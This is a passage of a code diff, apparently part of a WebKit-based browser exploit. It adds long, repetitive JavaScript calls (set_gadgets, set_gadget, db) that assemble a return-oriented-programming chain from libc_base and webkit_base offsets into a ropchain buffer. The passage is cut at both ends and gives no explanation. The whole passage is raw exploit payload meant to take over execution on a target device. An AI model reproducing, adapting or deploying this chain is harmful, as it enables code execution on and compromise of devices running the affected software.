0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+523832, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+523800, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+523816, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+523904, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+523960, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([72, 0]); +set_gadget(libc_base+772328,); +db([72, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+524112, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+524168, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+524240, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+524296, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([9484, 2337079296]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+524448, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+524536, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+524552, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+524696, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+524664, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+524680, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+524768, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+524824, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([80, 0]); +set_gadget(libc_base+772328,); +db([80, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+524976, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+525032, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+525104, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+525160, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([2337081417, 2337097801]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+525312, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+525400, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+525416, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+525560, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+525528, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+525544, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+525632, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+525688, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([88, 0]); +set_gadget(libc_base+772328,); +db([88, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+525840, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+525896, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+525968, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+526024, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([2156609801, 4084]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+526176, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+526264, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+526280, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+526424, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+526392, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+526408, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+526496, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+526552, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([96, 0]); +set_gadget(libc_base+772328,); +db([96, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+526704, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+526760, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+526832, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+526888, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([3239349069, 1293060941]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+527040, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+527128, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+527144, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+527288, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+527256, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+527272, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+527360, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+527416, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([104, 0]); +set_gadget(libc_base+772328,); +db([104, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+527568, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+527624, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+527696, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+527752, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([1293439627, 18387595]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+527904, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+527992, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+528008, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+528152, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+528120, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+528136, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+528224, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+528280, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([112, 0]); +set_gadget(libc_base+772328,); +db([112, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+528432, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+528488, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+528560, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+528616, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([3343450112, 4162]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+528768, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+528856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+528872, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+529016, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+528984, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+529000, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+529088, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+529144, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([120, 0]); +set_gadget(libc_base+772328,); +db([120, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+529296, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+529352, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+529424, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+529480, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([2336292864, 1046656]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+529632, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+529720, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+529736, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+529880, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+529848, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+529864, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+529952, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+530008, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([128, 0]); +set_gadget(libc_base+772328,); +db([128, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+530160, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+530216, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+530288, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+530344, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([344673536, 311119297]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+530496, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+530584, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+530600, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+530744, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+530712, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+530728, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+530816, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+530872, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([136, 0]); +set_gadget(libc_base+772328,); +db([136, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+531024, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+531080, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+531152, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+531208, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([408062797, 412257101]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+531360, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+531448, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+531464, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+531608, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+531576, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+531592, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+531680, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+531736, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([144, 0]); +set_gadget(libc_base+772328,); +db([144, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+531888, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+531944, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+532016, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+532072, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([1224736769, 6832839]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+532224, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+532312, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+532328, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+532472, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+532440, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+532456, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+532544, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+532600, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([152, 0]); +set_gadget(libc_base+772328,); +db([152, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+532752, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+532808, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+532880, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+532936, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([1090519040, 268206219]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+533088, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+533176, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+533192, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+533336, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+533304, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+533320, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+533408, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+533464, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([160, 0]); +set_gadget(libc_base+772328,); +db([160, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+533616, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+533672, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+533744, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+533800, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([2337079296, 2337128724]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+533952, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294963992, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+534040, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+534056, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+534200, 